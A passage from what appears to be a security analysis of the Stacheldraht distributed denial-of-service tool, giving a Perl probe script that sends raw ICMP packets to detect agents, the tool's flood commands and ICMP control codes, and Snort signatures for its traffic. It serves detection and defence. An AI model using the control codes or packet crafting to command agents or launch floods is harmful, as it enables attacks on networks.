    unsolicited ICMP_ECHOREPLY  packets.   (If you  do RFC  2267 style
    egress filtering, you  will have to  watch for these  packets from
    somewhere inside your border routers, or on each subnet.  Ethernet
    switches will make this more difficult to do on local subnets,  so
    an intrusion detection system (IDS) just inside your borders would
    be the best way to do this for your entire network.)

    Since stacheldraht  uses ICMP_ECHOREPLY  packets for  some of  its
    functioning,  and  those  TCP  connections  that  it  uses  employ
    Blowfish encryption of  the data stream,  it will be  difficult to
    detect  stacheldraht  in  action,  and  the ICMP_ECHOREPLY packets
    will go right  through most firewalls.   Programs like "ngrep"  do
    not  process  ICMP  packets,  so  you  will not as easily (at this
    point in time) be  able to watch for  strings in the data  portion
    of the  ICMP packets  (except using  the patches  to tcpshow  from
    Appendix C in  original document and  patches to sniffit  provided
    in the analysis of TFN).   Stacheldraht does not authenticate  the
    source of ICMP packets, and also does not encrypt strings embedded
    in ICMP  packets.   Note that  the latest  version of ngrep (1.35)
    does in fact match ICMP, and has been out for some time now.

    If the command values have  not been changed from the  default, as
    few as just one packet would  be necessary to flush out an  agent.
    Either:

    a). send an  ICMP_ECHOREPLY packet with  an ID field  value of 668
        and watch for  an ICMP_ECHOREPLY packet  to come back  with an
        ID field value  of 669 and  the string "sicken\n"  in the data
        field, or
    b). send an ICMP_ECHOREPLY packet with a source address of 3.3.3.3
        (and ID value of 666 and data field with "skillz" if you  want
        to go all out) and watch for an ICMP_ECHOREPLY packet to  come
        back with an ID field value of 1000 and the string  spoofworks
        in the data field.

    A Perl script using Net::RawIP named "gag" has been developed to
    accomplish the former.

    Perl script "gag" to detect stacheldraht agents
    ===============================================

    #!/usr/bin/perl
    #
    # gag v. 1.0
    # By Dave Dittrich <dittrich@cac.washington.edu>
    #
    # Send an ICMP_ECHOREPLY packet with ID of 668 to a stacheldraht
    # agent, causing it to reply to the sending host with an
    # ICMP_ECHOREPLY packet with an ID of 669 and the string "sicken\n"
    # in the data field of the packet.  Watch for this with tcpdump,
    # sniffit, etc., e.g.:
    #
    #	# tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
    #	# tcpshow < stach.dump
    #
    # Needs Net::RawIP (http://quake.skif.net/RawIP)
    # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
    #
    # Example: ./gag [options] host1 [host2 [...]]
    #
    # (This code was hacked from the "macof" program, written by
    # Ian Vitek <ian.vitek@infosec.se>)

    require 'getopts.pl';
    use Net::RawIP;
    require 'netinet/in.ph';

    $a = new Net::RawIP({icmp => {}});
    chop($hostname = `hostname`);

    Getopts('a:c:f:i:vh');
    die "usage: $0 [options] iplist\
    \t-a arg\t\tSend command argument 'arg' (default \"gesundheit!\")\
    \t-c val\t\tSend command value 'val' (default 668 - ID_TEST)\
    \t-f from_host\t\t(default:$hostname)\
    \t-i interface \t\tSet sending interface (default:eth0)\
    \t-v\t\t\tVerbose\
    \t-h This help\n" unless ( !$opt_h );

    # set default values
    $opt_i = ($opt_i) ? $opt_i : "eth0";
    $opt_a = ($opt_a) ? $opt_a : "gesundheit!";
    $opt_c = ($opt_c) ? $opt_c : "668";

    # choose network card
    if($opt_e) {
      $a->ethnew($opt_i, dest => $opt_e);
    } else {
      $a->ethnew($opt_i);
    }

    $s_host = ($opt_f) ? $opt_f : $hostname;

    if ($ARGV[0]) {
      open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
      while (<I>) {
        chop;
        push(@list,$_);
      }
      close(I);
    }

    # Put value in network byte order (couldn't get htons() in
    # "netinet/in.ph" to work. Go figure.)
    $id = unpack("S", pack("n", $opt_c));

    foreach $d_host (@list) {
      $a->set({ip => {saddr => $s_host, daddr => $d_host},
               icmp => {type => 0, id => $id, data => $opt_a}
              });
      print "sending packet [$opt_c/\"$opt_a\"] to $d_host\n" if $opt_v;
      $a->send;
    }

    exit(0);

    Latest version of this document can be found at:

        http://staff.washington.edu/dittrich/misc/stacheldraht.analysis

    According to ISS in the newer version of the Stacheldraht program,
    there are several new commands. The following is complete list  of
    commands in this new version:

        .mtimer    .mudp    .micmp   .msyn    .mack  .mnul
        .mstream   .mhavoc  .mrandom .mip     .mfdns .msort
        .showalive .madd    .mlist   .msadd   .msrem .help
        .setusize .setisize .mdie    .sprange .mstop .killall
        .showdead .forceit  .left    .enter

    The following commands  have been added  since the first  versions
    of Stacheldraht:

        .mack     Sends a TCP ACK flood.
        .mnul     Send a NULL flood, which is like a TCP SYN flood, but with TCP flags
                  set to 0.
        .mstream  Send a stream attack flood.
                  (see http://xforce.iss.net/alerts/advise48.php)
        .mhavoc   Send a "HAVOC" flood. This sends mixed ICMP, UDP, SYN, TCP random
                   flags and IP headers simultaneously.
        .mrandom  Sends a flood of packets with random TCP headers.
        .mip      Sends a flood of regular IP headers.
        .mfdns    Sets the source port for floods to port 53.
        .msadd    Add a master server to the list of master servers.
        .forceit  This will cause a .mstop command to stop all agents from flooding, even
	            if they are not flooding.
        .left     Tells you how much time is left before an agent stops flooding.

    IRC flooding commands:

        .enter     Enter the IRC flooding interface.
        .part      Part a channel.
        .join      Join a channel.
        .msg       Send a message flood.

    In this version, the user is prompted for a password when building
    the binaries.   There is no  default password; however,  there are
    some default values used.   When running, the agent "td"  uses the
    process name "(kswapd)".  When it spawns child processes, they are
    named "httpd".   The master server  "mserv" uses the  process name
    "(httpd)".   When  the  master  server  is  communicating with the
    agent, ICMP packets are used.   Each command is identified by  the
    ICMP ID header field.  In the version obtained by the X-Force, the
    values are as follows.

    For the network flooding commands and replies:

        699  Add an IP address to the list of addresses to be flooded
        6666 Send IP header flood
        7778 Send Stream attack
        9000 Add new master server to the Stacheldraht network
        9000 Spoof test reply
        9001 Remove master server
        9002 Distribute new versions of the agent
        9003 Shutdown agent
        9004 Set the amount of time to flood
        9005 Set the ICMP packet size for ICMP-based floods
        9006 Set the UDP packet size for UDP-based floods
        9007 Set the port range for SYN floods
        9012 Start a UDP flood
        9013 Start a SYN flood
        9014 Set the port for SYN floods
        9015 Stop flooding
        9016 Change spoofing mode
        9017 Replies from the client
        9028 Send Smurf attack
        9055 Send ICMP flood
        9113 Start an ACK flood
        9213 Start a NULL flood
        9668 Spoof test
        9934 Send Havoc flood
        9935 Send random TCP header flood
        9936 Send DNS packet flood

    For the IRC flooding commands:

        1 Join IRC
        4 Part Channel
        5 Join Channel
        6 Message Flood

SOLUTION

    Because the programs use ICMP_ECHOREPLY packets for communication,
    it will be very difficult (if not impossible) to block it  without
    breaking most  Internet programs  that rely  on ICMP.   The Phrack
    paper on LOKI states:

        The only sure way to destroy this channel is to deny ALL
        ICMP_ECHO traffic into your network.

    Short of rejecting this traffic,  it will instead be necessary  to
    observe  the  difference  between  "normal"  use  of ICMP_ECHO and
    ICMP_ECHOREPLY packets by programs like "ping".  This will not  be
    an easy task, especially on  large networks.  (See the  LOKI paper
    for more details.)

    The real defense is to make sure that *all* systems are kept up to
    date with security patches,  unnecessary services are turned  off,
    and  competent  system  administrators  are running and monitoring
    every Unix system on your network.

    Max  Vision  wrote  seven  IDS  signatures that detect the default
    configuration of  stacheldraht, as  presented in  Dave's excellent
    writeup.  They are available at Whitehats and below:

    alert TCP $EXTERNAL any -> $INTERNAL 16660 (msg: "stacheldraht client"; flags: S;)
    alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "stacheldraht client-check"; content: "skillz"; itype: 0; icmp_id: 666;)
    alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "stacheldraht client-check-gag"; content: "gesundheit!"; itype: 0; icmp_id: 668;)
    alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "stacheldraht client-spoofworks"; content: "spoofworks"; itype: 0; icmp_id: 1000;)
    alert ICMP $INTERNAL any -> $EXTERNAL any (msg: "stacheldraht server-response"; content: "ficken"; itype: 0; icmp_id: 667;)
    alert ICMP $INTERNAL any -> $EXTERNAL any (msg: "stacheldraht server-response-gag"; content: "sicken"; itype: 0; icmp_id: 669;)
    alert ICMP 3.3.3.3/32 any -> any any (msg: "stacheldraht server-spoof"; itype: 0; icmp_id: 666;)